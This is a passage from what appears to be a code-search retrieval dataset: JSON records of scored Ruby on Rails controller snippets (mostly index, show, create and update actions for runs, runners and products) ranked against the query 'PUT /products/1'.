@latestRun.testresults.find(:all, :conditions => [\"status = ? \", \"Failed\"])\n @blocked = @latestRun.testresults.find(:all, :conditions => [\"status = ? \", \"Blocked\"])\n \n respond_with(@passed)\n end\n end", "title": "" }, { "docid": "e5ca9a291be663760bfcf983e887af8a", "score": "0.5870199", "text": "def index\n # @runs = Run.all\n @activities = current_user.activities(includes: [:shoe])\n end", "title": "" }, { "docid": "a6a1eb81b6c1f09a1a4570d79da26165", "score": "0.586893", "text": "def show\n @run_step = RunStep.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @run_step }\n end\n end", "title": "" }, { "docid": "90c0e627e97b2cec526fa7a873a1646c", "score": "0.58677095", "text": "def index\n @running_entries = RunningEntry.all\n end", "title": "" }, { "docid": "d711bb927d1312430c44ebbc4c259bec", "score": "0.5858926", "text": "def index\n @runs = @race.runs.all.order_by(:start => 'asc')\n end", "title": "" }, { "docid": "6cf53e8c218b9d1d5c19e497e8b12c12", "score": "0.5838193", "text": "def index\n @rounds = Round.all\n render json: @rounds\n end", "title": "" }, { "docid": "524b74c8e17bab575986efe98210d05f", "score": "0.58329594", "text": "def create_runs()\n print \"\\n07) Creating runs...\\n\"\n @all_runs = Array.new\n @all_run_ids = Array.new\n\n #---------------------------------------------------------\n suite_id = @all_suites[0]['id']\n print \"\\tcreating 1 run in suite_id '#{suite_id}' with all test cases which are in the same suite...\\n\"\n uri = \"add_run/#{@new_project['id']}\"\n fields = { 'suite_id' => suite_id,\n 'name' => 'My test run name 1',\n 'description' => 'My test run description 1',\n 'milestone_id' => nil,\n 'assigned_to' => nil,\n 'include_all' => true,\n 'case_ids' => nil}\n begin\n new_run = @tr_con.send_post(uri, fields)\n # Returns:\n\t\t#\t\t{\"id\"=>200,\n\t\t#\t\t \"suite_id\"=>266,\n\t\t#\t\t \"name\"=>\"My test run name\",\n\t\t#\t\t \"description\"=>\"My test run description\",\n\t\t#\t\t \"milestone_id\"=>nil,\n\t\t#\t\t \"assignedto_id\"=>nil,\n\t\t#\t\t \"include_all\"=>true,\n\t\t#\t\t \"is_completed\"=>false,\n\t\t#\t\t \"completed_on\"=>nil,\n\t\t#\t\t \"config\"=>nil,\n\t\t#\t\t \"config_ids\"=>[],\n\t\t#\t\t \"passed_count\"=>0,\n\t\t#\t\t \"blocked_count\"=>0,\n\t\t#\t\t \"untested_count\"=>8,\n\t\t#\t\t \"retest_count\"=>0,\n\t\t#\t\t \"failed_count\"=>0,\n\t\t#\t\t \"custom_status1_count\"=>0,\n\t\t#\t\t \"custom_status2_count\"=>0,\n\t\t#\t\t \"custom_status3_count\"=>0,\n\t\t#\t\t \"custom_status4_count\"=>0,\n\t\t#\t\t \"custom_status5_count\"=>0,\n\t\t#\t\t \"custom_status6_count\"=>0,\n\t\t#\t\t \"custom_status7_count\"=>0,\n\t\t#\t\t \"project_id\"=>95,\n\t\t#\t\t \"plan_id\"=>nil,\n\t\t#\t\t \"created_on\"=>1438630002,\n\t\t#\t\t \"created_by\"=>1,\n\t\t#\t\t \"url\"=>\"https://tsrally.testrail.com/index.php?/runs/view/200\"}\n rescue Exception => ex\n print \"EXCEPTION occurred on TestRail API 'send_post(#{uri}, #{fields})':\\n\"\n print \"\\t#{ex.message}\\n\"\n raise UnrecoverableException.new(\"\\tFailed to create a new run in the suite\", self)\n end\n print \"\\trun id:'#{new_run['id']}' name:'#{new_run['name']}\\n\"\n @all_runs.push(new_run)\n @all_run_ids.push(new_run['id'])\n\n #---------------------------------------------------------\n suite_id = @all_suites[1]['id']\n print \"\\tcreating 1 run in suite_id '#{suite_id}' with 2 test cases which are in the same suite...\\n\"\n uri = \"add_run/#{@new_project['id']}\"\n fields = { 'suite_id' => suite_id,\n 'name' => 'My test run name 2',\n 'description' => 'My test run description 2',\n 'milestone_id' => nil,\n 'assigned_to' => nil,\n 'include_all' => false,\n 'case_ids' => [@all_cases[2]['id'],@all_cases[3]['id']]}\n begin\n new_run = @tr_con.send_post(uri, fields)\n rescue Exception => ex\n print \"EXCEPTION occurred on TestRail API 'send_post(#{uri}, #{fields})':\\n\"\n print \"\\t#{ex.message}\\n\"\n raise UnrecoverableException.new(\"\\tFailed to create a new run in the suite\", self)\n end\n print \"\\trun id:'#{new_run['id']}' name:'#{new_run['name']}\\n\"\n @all_runs.push(new_run)\n @all_run_ids.push(new_run['id'])\n\n return\nend", "title": "" }, { "docid": "01ef0ff93cbc863b3e4e80be72f8c8eb", "score": "0.5823122", "text": "def create\n @run = current_user.runs.build(params[:run])\n\t\t# Errechne Gesamtzeit in Sekunden\n\t\t@run.runtime_in_seconds = (params[:run][:run_hours].to_i)*3600+(params[:run][:run_minutes].to_i)*60+(params[:run][:run_seconds].to_i)\n respond_to do |format|\n if @run.save\n format.html { redirect_to runs_path, notice: 'Lauf erfolgreich erstellt.' }\n format.json { render json: @run, status: :created, location: @run }\n else\n format.html { render action: \"new\" }\n format.json { render json: @run.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "be1d26a39c35d0b908da65f9e15749e4", "score": "0.57896644", "text": "def status(run_id, account: nil)\n path = \"filter/runs/#{run_id}\"\n get account, path, {}\n end", "title": "" }, { "docid": "b98aa89f5a7bae6686332e58b807edd3", "score": "0.57892025", "text": "def all_runners(options = {})\n get('/runners/all', query: options)\n end", "title": "" }, { "docid": "b98aa89f5a7bae6686332e58b807edd3", "score": "0.57892025", "text": "def all_runners(options = {})\n get('/runners/all', query: options)\n end", "title": "" }, { "docid": "61f1d8b41336ca6ae624cc02c3cf2b94", "score": "0.57880646", "text": "def show \n @run = Run.find(params[:id])\n @stages = @run.stages\n if @run.nil?\n redirect_to root_url\n end\n end", "title": "" }, { "docid": "209e1f7421e3841b6e181b40153d3193", "score": "0.5786093", "text": "def show\n @step = Step.find(params[:id])\n @runs = @step.book.runs.all\n @current_run = @step.book.runs.first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @step }\n end\n end", "title": "" }, { "docid": "a7a1ec9cd2668a3593c7b3df30d51ba5", "score": "0.5781903", "text": "def show\n @chart = ShowRunnerChart.new(@runner)\n respond_to do |format|\n format.html\n format.json do\n render json: @runner.to_json(only: %i[first_name last_name],\n include: [runs: { only: %i[duration interim_times alpha_foto_id],\n include: {\n run_day: { only: %i[date alpha_foto_id] }\n } }])\n end\n end\n end", "title": "" }, { "docid": "6a2e92e2b16d252d83f7af6b175a6d0f", "score": "0.57817435", "text": "def get_run(id)\n get_runs.each {|run| return run if run.id==id}\n end", "title": "" }, { "docid": "af48200034ed391c6c3dbc4101b8f861", "score": "0.57775956", "text": "def index\n @rounds = Round.all\n\n render json: @rounds\n end", "title": "" }, { "docid": "4f994b40e3ed868d409ee0aefb819422", "score": "0.57745737", "text": "def set_run\n @run = user.runs.find(params[:id])\n end", "title": "" }, { "docid": "744b97718d2b49e7ebeea3fe84f2fd01", "score": "0.57497203", "text": "def show\n @runners = Runner.find(params[:id])\nend", "title": "" }, { "docid": "fd36ba09d2fc5364116454cc8bedc912", "score": "0.574685", "text": "def index\n @mallet_runs = MalletRun.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mallet_runs }\n end\n end", "title": "" }, { "docid": "511b8742ec2d17f7f76148374ebafc9e", "score": "0.57412004", "text": "def show\n @runway_collection = Runway::Collection.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @runway_collection }\n end\n end", "title": "" } ]
57cf82b105993037acb727177cd97356
PUT /products/1 PUT /products/1.json
[ { "docid": "ce25c747bcbe07a833b602a0eba53228", "score": "0.0", "text": "def update\n @recommendation = Recommendation.find(params[:id])\n @users=User.all\n @products=Product.all\n @occasions=Occasion.all\n respond_to do |format|\n if @recommendation.update_attributes(params[:recommendation])\n format.html { redirect_to occasion_path(@recommendation.occasion_id) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @recommendation.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "fa2eeaa45445dd76141374dc13ffab6d", "score": "0.7537158", "text": "def update\n begin\n @api_v1_product.update!(api_v1_product_params)\n head :no_content\n rescue => ex\n json_response({error: ex.message}, :unprocessable_entity)\n end\n end", "title": "" }, { "docid": "a7d90374eb77ad8dd9b96ee24a3a1b3a", "score": "0.718361", "text": "def update\n product = Product.find(params[:id])\n product_details = params.permit(:title, :inventory_count, :price)\n\n product.update(product_details)\n\n render json: product\n end", "title": "" }, { "docid": "3110446b40e28dc99d0d447699592393", "score": "0.7076738", "text": "def update\n if @product.update(product_params)\n render json: @product, status: :ok#, location: @collection\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "7f54a2f76d6ab661e888924c3530f166", "score": "0.6947068", "text": "def update\n if @product.update(product_params)\n render json: @product\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "c4c18cbbb7ebe8da84d1264bc7bd7520", "score": "0.6933706", "text": "def set_api_v1_product\n begin\n @api_v1_product = Product.find(params[:id])\n rescue => ex\n json_response({error: ex.message}, :not_found)\n end\n end", "title": "" }, { "docid": "7397c27ca0150989b334bd373f785662", "score": "0.69250435", "text": "def update\n updateProduct = Product.find_by_id(params[:id])\n updateProduct.update(products_params)\n if updateProduct != nil\n msg = { status: 200 , product: updateProduct }\n respond_to do |format|\n format.html { render json: msg }\n format.json { render json: msg }\n end\n else\n msg = { status: 422 }\n respond_to do |format|\n format.html { render json: msg }\n format.json { render json: msg }\n end\n end\n end", "title": "" }, { "docid": "aa59475a20933efff9ac8bd6e4b968a4", "score": "0.6899786", "text": "def update\n @product = Product.find(params[:id])\n\n if @product.update(product_params)\n head :no_content\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "733be8d6478fe4d060cb844afbc82b0a", "score": "0.6838226", "text": "def update\n @product.update(product_params)\n set_products\n end", "title": "" }, { "docid": "d7d785247431c54a5888830fe2fdecc8", "score": "0.6820647", "text": "def update\n return unless product_params\n render json: @product.simple_info, status: :ok if @product.update!(@product_params)\n rescue => e\n render json: { error: e }, status: :ok\n end", "title": "" }, { "docid": "2b9ea9c26bbeac82e7bd866d3aef592e", "score": "0.6802406", "text": "def update\n @product = TempProduct.find(params[:id])\n @product.qty = params[:qty]\n # save product\n if @product.save\n # success\n render :json => { :success => true }\n else\n # failed\n render :json => { :success => false }\n end\n end", "title": "" }, { "docid": "698d06ffabab2714dad49e67bcae0d12", "score": "0.6754015", "text": "def update\n @record = Product.find(params[:id])\n @record.update_attributes(params[:product])\n \n respond_to do |format|\n format.json {\n render json: {}\n }\n end\n end", "title": "" }, { "docid": "33af715f52e19ccef6ab15c5961fa650", "score": "0.67253315", "text": "def update\n if @product.update(product_params)\n render :show, status: :ok, location: api_v1_product_path(@product)\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "ea21e485fd66c442371403e17e1e0c73", "score": "0.6626227", "text": "def update\n @product = Product.find(params[:id])\n if @product.update(product_params)\n # Respond to html with a redirect and json\n respond_to do |format|\n format.html do\n flash[:notice] = 'Quantity added'\n redirect_to products_path\n end\n format.json do\n render json: @product.to_json\n end\n end\n else\n respond_to do |format|\n format.html do\n flash.now[:error] = 'Error updating quantity'\n render :edit\n end\n format.json do\n render json: { errors: @product.errors.full_messages }, status: 422\n end\n end\n end\n end", "title": "" }, { "docid": "e81ee2f1430d48a759b2616ae4a2599b", "score": "0.6580288", "text": "def update\n @angular = Product.find(params[:id])\n \n @angular.update_attributes(title: params[:products][:title], description: params[:products][:description])\n respond_to do |format|\n if @angular.valid?\n format.html { redirect_to store_index_path, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @angular.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "83eb9964d1b5a8d3e9227b9fe8767e3b", "score": "0.65785605", "text": "def update\n @product.assign_attributes object_params.reject{|_, v| v.blank?}\n # In a normal app we have a pre filled form of the object to update,\n # so when we do a PATCH (or PUT) we send all the attributes again,\n # in the API we permit to send any field to update, so we need to remove\n # all the blank params of the object to prevent validations triggers of\n # attributes that we don't send to update\n if @product.save\n render json: @product.to_json\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "5d27181a4a8188f23db0855c4dea9e01", "score": "0.65553606", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product,\n :notice=> 'Product was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action=> \"edit\" }\n format.json { render :json=> @product.errors,\n :status=> :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a008c83b60460296cc2f99ed4967481c", "score": "0.6545574", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: t(:product_updated) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "40b7e835e8e0ba59412ba35423fb6234", "score": "0.6541611", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, :notice => 'Product was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "40b7e835e8e0ba59412ba35423fb6234", "score": "0.6541611", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, :notice => 'Product was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "507c5890a0200c35763361027bc3e71e", "score": "0.6541202", "text": "def update\n @product = Product.find(params[:id])\n\n if @product.update_attributes(params[:product])\n respond_to do |format|\n format.html { redirect_to products_path, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n end\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end", "title": "" }, { "docid": "e6650a308c4978c97d4033f64d7fae3e", "score": "0.65288335", "text": "def update\n product_params = params.require(:product).\n permit(:id, :value)\n\n if product = Product.find_by(external_id: product_params[:id])\n product.value = product_params[:value]\n product.save\n render json: {}, status: :ok\n else\n\n render json: {\n errors: {\n message: \"product not found\",\n product_id: product_params[:id]\n }\n }, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "2faa1524822b06d0c5e8980b55f0b5f0", "score": "0.65171623", "text": "def update\n #Find product by productID\n @product = Product.find_by(productID: params[:id])\n \n respond_to do |format|\n if @product.update_attributes(product_params)\n format.html { redirect_to products_path, notice: 'Product has been updated.' }\n format.json { render :index, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e83e8fdec53c8fd08c74b7da11b613cf", "score": "0.65135646", "text": "def update\n @product = @person.products.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:model])\n flash[:notice] = 'Product was successfully updated.'\n format.json { render :json=>nil }\n else\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f04656bc2c6df6f7d279b83495e098b9", "score": "0.65118754", "text": "def update\n @product = Product.find(params[:id])\n @product.name_prefix = @product.name.first.upcase\n respond_to do |format|\n if @product.update_attributes(params[:product])\n\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "63403253406c9af0fd9985f112dba8d2", "score": "0.6511474", "text": "def update\n @product = Product.find(params[:id])\n \n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "464cb345af4713febc9693e7f6bb5c15", "score": "0.6506366", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, :notice => 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "464cb345af4713febc9693e7f6bb5c15", "score": "0.6506366", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, :notice => 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "27b764d2affb580558c78ddcaa9ac123", "score": "0.64966893", "text": "def update\n \n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "62aed9f29c7c82570221941578be63f0", "score": "0.6495729", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to products_path, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dee4c3226fabbf11f08df38017684253", "score": "0.6494757", "text": "def update\n respond_to do |format|\n if @product.update!(product_params)\n format.html { redirect_to products_url, notice: 'Product was successfully updated.' }\n format.json { render json: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.64916945", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6490959", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6490959", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6490959", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6490959", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6490959", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6490959", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6490959", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6490959", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6490959", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6490959", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6490959", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6490959", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6490959", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6490959", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6490959", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6490959", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6490959", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bdb8bb56cb769b75f4e4c617db4a82cb", "score": "0.64455706", "text": "def editProd()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n p = Product.find(params[:id])\n status = p.update(name: params[:name], price: params[:price].to_f, category_id: params[:cat_id])\n error = \"\"\n if(p.errors.full_messages.count > 0)\n error = c.errors.full_messages[0]\n end\n render json: {status: status, reason: error, data: \"\"}\n end", "title": "" }, { "docid": "785b96ab70a50fd6670ee40646287a9f", "score": "0.64205605", "text": "def update\n @product = Product.find(params[:id])\n\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to edit_product_path(@product), notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6deadbe5c9f53b0181ed9f4a28e93d4b", "score": "0.64202106", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "26b37c4367b00b74422d0a712ab009d5", "score": "0.6406945", "text": "def update\n @product = Product.find(params[:id])\n if @product\n if @product.update(price: params[:price])\n render 'api/products/show'\n else\n render json: [\"Can only update price\"], status: 422\n end\n else\n render json: [\"Product not found\"], status: 422\n end\n end", "title": "" }, { "docid": "03304a6648e64ba3b1a4ff40872f2992", "score": "0.6405736", "text": "def update\n product = Product.find_by id: (params[:id])\n product.name = (params[:name])\n product.description = (params[:description])\n product.active = (params[:active])\n product.user_id = (params[:user_id])\n product.url_img = (params[:url_img])\n if product.save\n render json: '[{\"message\":\"The product was Updated\"}]', status: :ok\n else\n render json: product.errors, status: :unprocessable_entity\n end\n rescue ActiveRecord::InvalidForeignKey\n render json: '[{\"error\":\"No valid foreign keys asignation\"}]', status: 422\n end", "title": "" }, { "docid": "3af41766a0dc942cdf8f25ff5f45f9e1", "score": "0.64001614", "text": "def update_product_info\n update_info = params[:product]\n market = Market.find(params[:place_id])\n product = market.products.find(update_info[:id])\n if product.update(update_info)\n response = {status: \"OK\", code: 200}\n else\n response = { status: \"Not Ok\", code: 201}\n end\n respond_to do |format|\n format.json{render json: response.to_json }\n end\n end", "title": "" }, { "docid": "bf4aa129c20274b21afe4b608ba741d6", "score": "0.6386795", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to root_url(:item3 => 3), notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ffa4fba5b5c4d362f37d133a279f9046", "score": "0.63824975", "text": "def update\n @product = Product.find(params[:id])\n respond_to do |format|\n @product.edit\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "20466c62d0a2de03170e56671e1c0a81", "score": "0.6377395", "text": "def update\n @product = Product.find(params[:id])\n\t\trespond_to do |format|\n\t\t if @product.update_attributes(params[:product])\n\t\t\tif @product.photo.nil?\n\t\t\t\tphoto = Photo.find_by_product_id(@product.id)\n\t\t\t\t@product.update_attributes(:photo_id => photo.id) if !photo.nil?\n\t\t\tend\n\t\t\tformat.html { redirect_to @product, :notice => 'Успешно обновлено' }\n\t\t\tformat.json { head :no_content }\n\t\t else\n\t\t\tformat.html { render :action => \"edit\" }\n\t\t\tformat.json { render :json => @product.errors, :status => :unprocessable_entity }\n\t\t end\n\t\tend\n end", "title": "" }, { "docid": "855f81d29ee8ff100cfefb3479cedcdd", "score": "0.6371111", "text": "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "title": "" }, { "docid": "71a7354c68a3d1daf2fac8a850e63a20", "score": "0.63566047", "text": "def update\n\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3a4604b0ef1cfe05444ef35bcb3e701f", "score": "0.635131", "text": "def update\n respond_to do |format|\n if @product1.update(product1_params)\n format.html { redirect_to @product1, notice: \"Product1 was successfully updated.\" }\n format.json { render :show, status: :ok, location: @product1 }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @product1.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": 